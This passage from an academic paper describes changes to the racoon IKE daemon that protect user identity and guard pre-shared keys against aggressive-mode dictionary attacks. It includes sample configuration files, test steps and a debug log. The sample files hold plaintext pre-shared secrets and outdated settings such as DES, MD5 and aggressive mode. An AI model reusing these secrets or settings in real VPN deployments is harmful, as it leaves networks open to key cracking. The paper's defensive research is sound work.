- During the preparation of Keys after first 4 message exchanges the Initiator code has been modified to read the pre-shared secret from the configuration file through Key Id that can be a group or a user and not from IP address as was being used earlier.
- The racoon configuration file “racoon.conf” has also been modified to have the users of type USER_FQDN being able to log in as their actual identities in the encrypted 5th message
- The pre-shared secrets configuration file has been modified to include pre-shared secrets with respect to Key Ids.

The modified sample pre-shared secret file “psk.txt”, key id file “keyid.txt”, and racoon configuration file “racoon.conf” for initiator is as illustrated below.

Modified Key Id file (keyid.txt) for Initiator

TEST-VPN-GW1# ls

keyid.txt racoon.conf racoon.conf.dist psk.txt

TEST-VPN-GW1# vi keyid.txt

sjsu.edu

Modified Pre-shared Secrets file (psk.txt) for Initiator

TEST-VPN-GW1# vi /usr/local/etc/racoon/psk.txt

IPv4/v6 addresses

**#MEENAKSHI_MODIFIED SUPPORT FOR -
KEY_ID**

sjsu.edu	mvohraPreshared
-----------------	------------------------

130.65.153.42	meenakshi
---------------	-----------

10.160.94.3	mekmitasdigoat
-------------	----------------

172.16.1.133	mekmitasdigoat
--------------	----------------

194.100.55.1	whatcertificatereally
--------------	-----------------------

203.178.141.208	mekmitasdigoat
-----------------	----------------

206.175.160.18	mekmitasdigoat
----------------	----------------

206.175.160.20	mekmitasdigoat
----------------	----------------

206.175.160.21	mekmitasdigoat
----------------	----------------

206.175.160.22	mekmitasdigoat
----------------	----------------

206.175.160.23	mekmitasdigoat
----------------	----------------

206.175.160.36	mekmitasdigoat
----------------	----------------

206.175.161.125	mekmitasdigoat
-----------------	----------------

206.175.161.154	mekmitasdigoat
-----------------	----------------

206.175.161.156	mekmitasdigoat
-----------------	----------------

206.175.161.182	mekmitasdigoat
-----------------	----------------

3ffe:501:410:ffff:200:86ff:fe05:80fa	mekmitasdigoat
--------------------------------------	----------------

3ffe:501:410:ffff:210:4bff:fea2:8baa	mekmitasdigoat
--------------------------------------	----------------

USER_FQDN

sakane@kame.net	mekmitasdigoat
-----------------	----------------

FQDN

kame

hoge

Modified Racoon Configuration file (racoon.conf) for Initiator

TEST-VPN-GW1# vi racoon.conf.main

**# MEENAKSHI_MODIFIED SUPPORT FOR KEY_ID /
USER_FQDN TO #PREVENT PRE-SHARED SECRET AGGRESSIVE
MODE ATTACK**

\$KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp \$

"path" must be placed before it should be used.

You can overwrite which you defined, but it should not use due to
confusing.

path include "/usr/local/etc/racoon" ;

#include "remote.conf" ;

search this file for pre_shared_key with various ID key.

path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;

racoon will look for certificate file in the directory,

if the certificate/certificate request payload is received.

path certificate "/usr/local/etc/cert" ;

"log" specifies logging level. It is followed by either "notify", "debug"

or "debug2".

log debug2;

"padding" defines some parameter of padding. You should not touch
these.

padding

```
{
    maximum_length 20;    # maximum padding length.
    randomize off;        # enable randomize length.
    strict_check off;     # enable strict check.
    exclusive_tail off;   # extract last one octet.
}
```

if no listen directive is specified, racoon will listen to all
available interface addresses.

listen

```
{
    #isakmp ::1 [7000];
    #isakmp 202.249.11.124 [500];
    #admin [7002];        # administrative's port by kmpstat.
    #strict_address;      # required all addresses must be bound.
}
```

Specification of default various timer.

timer

```
{
    randomize off;        # enable randomize length.
    strict_check off;     # enable strict check.
    exclusive_tail off;   # extract last one octet.
}
```

if no listen directive is specified, racoon will listen to all
available interface addresses.

listen

```
{
    #isakmp ::1 [7000];
    #isakmp 202.249.11.124 [500];
    #admin [7002];        # administrative's port by kmpstat.
}
```

```

    #strict_address;    # required all addresses must be bound.
}

```

Specification of default various timer.

```

timer
{
    # These value can be changed per remote node.
    counter 5;          # maximum trying count to send.
    interval 20 sec;    # maximum interval to resend.
    persend 1;          # the number of packets per a send.

    # timer for waiting to complete each phase.
    phase1 30 sec;
    phase2 15 sec;
}

```

remote anonymous

```

{
    exchange_mode main,aggressive;
    #exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;

    #   my_identifier keyid "/usr/local/etc/racoon/keyid.txt";
    my_identifier user_fqdn "mvohra@sjsu.edu";
    #   my_identifier user_fqdn "jreheb@sjsu.edu";
    #   my_identifier address;
    #   my_identifier user_fqdn "sakane@kame.net";
    peers_identifier user_fqdn "sakane@kame.net";
    #certificate_type x509 "mycert" "mypriv";

    nonce_size 16;
}

```

```

lifetime time 2 hour; # sec,min,hour
initial_contact on;
support_mip6 on;
proposal_check obey; # obey, strict or claim

proposal {
    encryption_algorithm 3des;
    hash_algorithm md5;
    authentication_method pre_shared_key ;
    dh_group 2 ;
}
}

remote ::1 [8000]
{
    #exchange_mode main,aggressive;
    exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;

    my_identifier user_fqdn "sakane@kame.net";
    peers_identifier user_fqdn "sakane@kame.net";
    #certificate_type x509 "mycert" "mypriv";

    nonce_size 16;
    lifetime time 1 min; # sec,min,hour

    proposal {
        encryption_algorithm 3des;
        hash_algorithm sha1;
        authentication_method pre_shared_key ;
        dh_group 2 ;
    }
}

```

```
}
```

sainfo anonymous

```
{  
    pfs_group 1;  
    lifetime time 30 sec;  
    encryption_algorithm 3des ;  
    authentication_algorithm hmac_sha1;  
    compression_algorithm deflate ;  
}
```

sainfo address 203.178.141.209 any address 203.178.141.218 any

```
{  
    pfs_group 1;  
    lifetime time 30 sec;  
    encryption_algorithm des ;  
    authentication_algorithm hmac_md5;  
    compression_algorithm deflate ;  
}
```

sainfo address ::1 icmp6 address ::1 icmp6

```
{  
    pfs_group 1;  
    lifetime time 60 sec;  
    encryption_algorithm 3des, cast128, blowfish 448, des ;  
    authentication_algorithm hmac_sha1, hmac_md5 ;  
    compression_algorithm deflate ;  
}
```

7.3.2 Responder Changes

- The second message from Initiator has been modified to contain HDR, KE, ID with type as IPSECDOI_ID_KEY_ID, Ni instead of previous HDR, KE, Ni.
- The ID payload is extracted and the corresponding id value is being set in Phase 1 data structure
- The group information is extracted from above ID payload and assigned to newly defined field group in Phase 1 data structure through new API.
- During the preparation of Keys after first 4 message exchanges the Responder code has been modified to read the pre-shared secret from the configuration file through Key Id that can be a group and not from IP address as was being used earlier.
- The racoon configuration file has also been modified to have the remote users of type USER_FQDN being able to log in as their actual identities in the encrypted 5th message
- The pre-shared secrets configuration file has been modified to include pre-shared secrets with respect to Key Ids.

The modified sample pre-shared secret file “psk.txt” and racoon configuration file “racoon.conf” for Responder is as illustrated below.

Modified Pre-shared Secrets file (psk.txt) for Responder

TEST-VPN-GW2# vi /usr/local/etc/racoon/psk.txt

IPv4/v6 addresses

**#MEENAKSHI_MODIFIED SUPPORT FOR -
KEY_ID**

sjsu.edu

mvohraPreshared

130.65.153.165

meenakshi

10.160.94.3

mekmitasdigoat

172.16.1.133

mekmitasdigoat

194.100.55.1

whatcertificatereally

203.178.141.208

mekmitasdigoat

206.175.160.18

mekmitasdigoat

206.175.160.20

mekmitasdigoat

206.175.160.21

mekmitasdigoat

206.175.160.22

mekmitasdigoat

206.175.160.23

mekmitasdigoat

206.175.160.36

mekmitasdigoat

206.175.161.125

mekmitasdigoat

206.175.161.154

mekmitasdigoat

206.175.161.156

mekmitasdigoat

206.175.161.182

mekmitasdigoat

3ffe:501:410:ffff:200:86ff:fe05:80fa mekmitasdigoat

3ffe:501:410:ffff:210:4bff:fea2:8baa mekmitasdigoat

USER_FQDN

sakane@kame.net

mekmitasdigoat

FQDN

kame

hoge

Modified Racoon Configuration file (racoon.conf) for Responder

```
TEST-VPN-GW2# vi racoon.conf
# MEENAKSHI_MODIFIED SUPPORT FOR KEY_ID / USER_FQDN TO
# PREVENT
#   PRE-SHARED SECRET AGGRESSIVE MODE ATTACK
#   AND TESTING AGGRESSIVE MODE ATTACK

# $KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp $

# "path" must be placed before it should be used.
# You can overwrite which you defined, but it should not use due to confusing.
path include "/usr/local/etc/racoon" ;
#include "remote.conf" ;

# search this file for pre_shared_key with various ID key.
path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;

# racoon will look for certificate file in the directory,
# if the certificate/certificate request payload is received.
path certificate "/usr/local/etc/cert" ;

# "log" specifies logging level. It is followed by either "notify", "debug"
# or "debug2".
log debug2;

# "padding" defines some parameter of padding. You should not touch these.
padding
{
    maximum_length 20;    # maximum padding length.
    randomize off;        # enable randomize length.
    strict_check off;     # enable strict check.
    exclusive_tail off;   # extract last one octet.
}

# if no listen directive is specified, racoon will listen to all
# available interface addresses.
listen
{
    #isakmp ::1 [7000];
```

```

    #isakmp 202.249.11.124 [500];
    #admin [7002];      # administrative's port by kmpstat.
    #strict_address;    # required all addresses must be bound.
}

```

Specification of default various timer.

```

timer
{
    # These value can be changed per remote node.
    counter 5;      # maximum trying count to send.
    interval 20 sec; # maximum interval to resend.
    persend 1;      # the number of packets per a send.

    # timer for waiting to complete each phase.
    phase1 30 sec;
    phase2 15 sec;
}

```

remote anonymous

```

{
    #exchange_mode main,aggressive;
    exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;

    my_identifier address;
    #my_identifier user_fqdn "sakane@kame.net";
#   peers_identifier user_fqdn "sakane@kame.net";
peers_identifier user_fqdn "mvohra@sjsu.edu";
#   peers_identifier user_fqdn "jrejb@sjsu.edu";
    #certificate_type x509 "mycert" "mypriv";

    nonce_size 16;
    lifetime time 2 hour; # sec,min,hour
    initial_contact on;
    support_mip6 on;
    proposal_check obey; # obey, strict or claim

    proposal {
        encryption_algorithm 3des;
        hash_algorithm md5;
        authentication_method pre_shared_key;
        dh_group 2;
    }
}

```

```

    }
}

remote ::1 [8000]
{
    #exchange_mode main,aggressive;
    exchange_mode aggressive,main;
    doi ipsec_doi;
    situation identity_only;

    my_identifier user_fqdn "sakane@kame.net";
    peers_identifier user_fqdn "sakane@kame.net";
    #certificate_type x509 "mycert" "mypriv";

    nonce_size 16;
    lifetime time 1 min;  # sec,min,hour

    proposal {
        encryption_algorithm 3des;
        hash_algorithm sha1;
        authentication_method pre_shared_key;
        dh_group 2;
    }
}

```

sainfo anonymous

```

{
    pfs_group 1;
    lifetime time 30 sec;
    encryption_algorithm 3des;
    authentication_algorithm hmac_sha1;
    compression_algorithm deflate;
}

sainfo address 203.178.141.209 any address 203.178.141.218 any
{
    pfs_group 1;
    lifetime time 30 sec;
    encryption_algorithm des;
    authentication_algorithm hmac_md5;
    compression_algorithm deflate;
}

sainfo address ::1 icmp6 address ::1 icmp6

```

```
{
    pfs_group 1;
    lifetime time 60 sec;
    encryption_algorithm 3des, cast128, blowfish 448, des ;
    authentication_algorithm hmac_sha1, hmac_md5 ;
    compression_algorithm deflate ;
}
*****
```

8. TESTING PROPOSED IMPLEMENTATION

After making the necessary code changes as explained in above section 7.2, the racoon code was built and installed. The proposed implementation has been tested on the same setup configuration as explained in figure17 with Main Mode. As also explained in detail in the above sub section 7.2, perform the following steps

- Verify that the latest racoon is installed successfully in “/usr/local/sbin”
- Verify that the racoon process is running by typing “ps -x”
- Run the command “setkey -f /etc/ipsec.conf” to install the security policy.
- Verify that the racoon configuration file “/usr/local/etc/racoon/racoon.conf” has the main mode as an exchange mode defined in section “remote anonymous”
- For the Initiator, verify the Key Id file named “keyid.txt” in the path “/usr/local/etc/racoon”. Add the group name, for instance, sjsu.edu to the above file “keyid.txt”
- Add the pre-shared secret corresponding to the above key id in file “psk.txt” in the path “/usr/local/etc/racoon”
- run racoon with the following syntax:
 - /usr/local/sbin/racoon -f /usr/local/etc/racoon/racoon.conf -l /var/log/racoonAfterChanges1.logwhere, -f flag specifies the path for configuration file,

-l flag specifies the path for the log file

- Establish the tunnel by running ping from host 192.168.10.10 to 10.10.10.5
- The ping or ftp traffic should now be encrypted through the tunnel between the VPN Gateways 130.65.153.165 and 130.65.153.42. This can be verified by running Ethereal or Windump or Tcpdump utility
- The racoon log file “/var/log/racoonAfterChanges1.log” can also be verified to see the tunnel establishment

A sample output log file of the Initiator for the proposed modified test is as illustrated below.

Sample Output Log File for Initiator

2001-03-17 21:26:16: DEBUG: sainfo.c:100:getsainfo(): anonymous sainfo selected.
2001-03-17 21:26:16: DEBUG: proposal.c:825:printsaproto(): (proto_id=ESP spisize=4
spi=00000000 spi_p=00000000 encmode=Tunnel reqid=0:0)
2001-03-17 21:26:16: DEBUG: proposal.c:859:printsatrans(): (trns_id=3DES encklen=0
authtype=2)
2001-03-17 21:26:16: DEBUG: remoteconf.c:129:getrmconf(): anonymous configuration
selected for 130.65.153.42.
2001-03-17 21:26:16: INFO: isakmp.c:1684:isakmp_post_acquire(): IPsec-SA request for
130.65.153.42 queued due to no phase1 found.
2001-03-17 21:26:16: DEBUG: isakmp.c:793:isakmp_ph1begin_i(): ===
2001-03-17 21:26:16: INFO: isakmp.c:798:isakmp_ph1begin_i(): initiate new phase 1
negotiation: 130.65.153.165[500]<=>130.65.153.42[500]
2001-03-17 21:26:16: INFO: isakmp.c:803:isakmp_ph1begin_i(): begin Identity
Protection mode.
2001-03-17 21:26:16: DEBUG: isakmp.c:1996:isakmp_newcookie(): new cookie:
3f3c1e21d4d1666d
2001-03-17 21:26:16: DEBUG: isakmp.c:2113:set_isakmp_payload(): add payload of len
48, next type 0
2001-03-17 21:26:16: DEBUG: isakmp.c:2248:isakmp_printpacket(): begin.
2001-03-17 21:26:16: DEBUG: sockmisc.c:421:sendfromto(): sockname
130.65.153.165[500]
.....
.....
2001-03-17 21:26:16: DEBUG: isakmp_ident.c:1853:set_key_id(): MEENAKSHI:
KEY_ID set to:
2001-03-17 21:26:16: DEBUG: plog.c:193:plogdump():
736a7375
2001-03-17 21:26:16: DEBUG: ipsec_doi.c:3279:ipsecdoi_setkeyid1(): MEENAKSHI:
use ID type of KEY_ID
2001-03-17 21:26:16: DEBUG: isakmp_ident.c:1542:ident_ir2mx(): MEENAKSHI:
Adding New ID payload

2001-03-17 21:26:16: DEBUG: isakmp.c:2113:set_isakmp_payload(): add payload of len 128, next type 5

2001-03-17 21:26:16: DEBUG: isakmp.c:2113:set_isakmp_payload(): add payload of len 8, next type 10

2001-03-17 21:26:16: DEBUG: isakmp.c:2113:set_isakmp_payload(): add payload of len 16, next type 13

2001-03-17 21:26:16: DEBUG: isakmp.c:2113:set_isakmp_payload(): add payload of len 16, next type 0

.....

.....

2001-03-17 21:26:17: DEBUG: localconf.c:166:getpskbykeyId(): MEENAKSHI: Input Key Id is:

2001-03-17 21:26:17: DEBUG: plog.c:193:plogdump():
736a7375

2001-03-17 21:26:17: DEBUG: oakley.c:2115:oakley_skeyid(): MEENAKSHI: The PSK found through KeyId.. Well Done.

2001-03-17 21:26:17: DEBUG: oakley.c:2117:oakley_skeyid(): MEENAKSHI: The PSK found.

2001-03-17 21:26:17: DEBUG2: oakley.c:2119:oakley_skeyid(): psk: 2001-03-17 21:26:17: DEBUG2: plog.c:193:plogdump():
6d766

.....

.....

2001-03-17 21:26:17: DEBUG: ipsec_doi.c:3311:ipsecdoi_setfqdnkeyid1():
MEENAKSHI: ipsecdoi_setfqdnkeyid1(...) setting fqdn

2001-03-17 21:26:17: DEBUG: isakmp_ident.c:1896:set_fqdn_with_keyid():
MEENAKSHI: USER_FQDN set to:

2001-03-17 21:26:17: DEBUG: plog.c:193:plogdump():
6d766f68 72614073 6a7375

2001-03-17 21:26:17: DEBUG: ipsec_doi.c:3334:ipsecdoi_setfqdnkeyid1():
MEENAKSHI: use ID type of User_FQDN

2001-03-17 21:26:17: DEBUG: oakley.c:903:oakley_ph1hash_common(): HASH with:

2001-03-17 21:26:17: DEBUG: plog.c:193:plogdump():
25f0

.....

.....

2001-03-17 21:31:33: DEBUG: isakmp_inf.c:634:isakmp_info_send_common(): sendto Information notify.

**2001-03-17 21:31:33: INFO: isakmp.c:2412:log_ph1established(): ISAKMP-SA established 130.65.153.165[500]-130.65.153.42[500]
spi:364f81fbbd193c1a:4e126d6717197e3a**

2001-03-17 21:31:33: DEBUG: isakmp.c:669:ph1_main(): ===

2001-03-17 21:31:33: DEBUG: isakmp.c:221:isakmp_handler(): ===

2001-03-17 21:31:33: DEBUG: isakmp.c:222:isakmp_handler(): 84 bytes message received from 130.65.153.42[500]

2001-03-17 21:31:33: DEBUG: plog.c:193:plogdump():

.....

.....

2001-03-17 21:31:34: DEBUG: pfkey.c:1103:pk_rcvupdate(): pfkey UPDATE succeeded: ESP/Tunnel 130.65.153.42->130.65.153.165 spi=168701344(0xa0e2da0)

2001-03-17 21:31:34: INFO: pfkey.c:1110:pk_rcvupdate(): IPsec-SA established: ESP/Tunnel 130.65.153.42->130.65.153.165 spi=168701344(0xa0e2da0)

2001-03-17 21:31:34: DEBUG: pfkey.c:1148:pk_rcvupdate(): ===

9. FUTURE ENHANCEMENTS

The proposed implementation has been implemented and tested using an IPSec open source of FreeBSD systems. Most proprietary solutions implement XAuth with IKE-CFG or L2TP over IPSec to provide further user authentication and IP address assignment. The FreeBSD open source IPSec code along with the proposed implemented solution can be enhanced to include the following:

- Extended Authentication support for user password authentication
- IKE-CFG for IP address assignment
- NAT-T support where the Internet service providers use NATs to share public IP address
- The modified code can be ported and tested with other vendors proprietary Wireless VPN based solutions
- The modified code can also be tested with L2TP over IPSec based solutions

10. CONCLUSION

In this paper, a new approach is presented to secure wireless and mobile networks that are based on VPN technology. The IKE protocol which is the main component in the IPSec VPNs is modified to provide identity protection to the wireless and mobile users and prevent dictionary-based passive attacks on pre-shared keys as opposed to existing solutions. Other benefits of the proposed approach include: non-dependency on PKIX, scalability, and low overhead costs. The results in this work represent the first identity protection solution to the mobile and wireless users based on IKE main mode pre-shared secrets.

References

- A Hybrid Authentication Mode for IKE. Retrieved March 4, 2004, from
<http://www.ietf.org/proceedings/00dec/I-D/draft-ietf-ipsec-isakmp-hybrid-auth-05.txt>
- Authentication Vulnerabilities in IKE and Xauth with Weak Pre-Shared Secrets.
Retrieved March 4, 2004, from <http://www.ima.umn.edu/~pliam/xauth/>
- Borison N., Goldberg I., and Wagner D. (2001). Intercepting Mobile Communications: The insecurity of 802.11, *Seventh Int'l Conf. on Mobile Computing and Networking*, ACM, (pp. 180-188), 2001.
- Building and Installing a Custom Kernel. Retrieved March 4, 2004, from
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-building.html
- Cheng P.C. (2001). An Architecture for the Internet Key Exchange Protocol. *IBM Systems Journal*. Vol. 40, (pp. 721-746).
- Extended Authentication within ISAKMP/Oakley (XAuth). Retrieved March 4, 2004, from <http://community.roxen.com/developers/idocs/drafts/draft-ietf-ipsec-isakmp-xauth-06.html>
- FreeBSD IPsec mini-HOW TO. Retrieved March 4, 2004, from
<http://www.daemonnews.org/200101/ipsec-howto.html>
- IEEE Std. 802.11i/D4.1. (July 2003). Retrieved March 4, 2004, from
<http://www.iol.unh.edu/consortiums/wireless/groupetest/07-2003-GTP/gtp/Standards/802.11i-D4.1.pdf>
- IKECrack. Retrieved March 4, 2004, from <http://ikecrack.sourceforge.net/>

Installing and Configuring SSH Sentinel Client. Retrieved March 4, 2004, from http://www.nlynx.com/pdfs/remotaccess/Installation_SSH_Sentinel_VPN_Client.pdf

IPSec Overview Part Four: Internet Key Exchange (IKE). Retrieved March 4, 2004, from <http://www.ciscopress.com/articles/article.asp?p=25474>

Izzo P. (2000). *Gigabit Networks*. New York: Wiley.

Negotiation of NAT-Traversal in the IKE (draft-ietf-ipsec-nat-t-ike-02.txt). Retrieved March 4, 2004, from <http://www.vpnc.org/ietf-ipsec/02.ipsec/msg01103.html>

Perlman, Kaufman. Key Exchange in IPSec: Analysis of IKE. Retrieved March 4, 2004, from <http://www.computer.org/internet/ic2000/w6050abs.htm>

PSK cracking using Aggressive Mode. Retrieved March 4, 2004, from <http://www.ernw.de/download/pskattack.pdf>

RFC 2407: The Internet IP Security Domain of Interpretation for ISAKMP. Retrieved March 4, 2004, from <http://www.ietf.org/rfc/rfc2407.txt>

RFC 2408: Internet Security Association and Key Management Protocol (ISAKMP). Retrieved March 4, 2004, from <http://www.ietf.org/rfc/rfc2408.txt>

RFC 2409: The Internet Key Exchange (IKE). Retrieved March 4, 2004, from <http://www.ietf.org/rfc/rfc2409.txt>

RFC 3280: Internet X.509 Public Key Infrastructure Certificate and CRL Profile. Retrieved March 4, 2004, from <http://www.faqs.org/rfcs/rfc3280.html>

UDP Encapsulation of IPSec Packets (draft-ietf-ipsec-udp-encaps-02.txt). Retrieved March 4, 2004, from <http://www.sandelman.ottawa.on.ca/ipsec/2002/04/msg00214.html>

VPN and VPN Technologies. Retrieved March 4, 2004, from
<http://www.informit.com/articles/>

Wireless IPSec. Retrieved March 4, 2004, from
<http://www.nwfusion.com/research/2002/0909ilabipsec.html>

Appendix

Terminology

AP	Access Point
BSS	Basic Service Set
CA	Certificate Authority
DH	Diffie-Hellman
DNS	Domain Name Server
DOI	Domain Of Interpretation
FQDN	Fully Qualified Domain Name
IEEE	Institution of Electrical and Electronic Engineers
IKE	Internet Key Exchange
IKE-CFG	IKE Configuration
IPSec	IP Security
ISAKMP	Internet Security Association and Key Management Protocol
KE	Key Exchange
L2TP	Layer2 Tunneling Protocol
LAN	Local Area Network
NAT-T	Network Address Translation Traversal
PFS	Perfect Forward Secrecy
PKIX	Public Key Infrastructure
RADIUS	Remote Authentication Dial In User Service
SA	Security Association
SADB	Security Association Database
SPD	Security Policy Database
VPN	Virtual Private Network
WEP	Wired Equivalent Privacy
XAUTH	Extended Authentication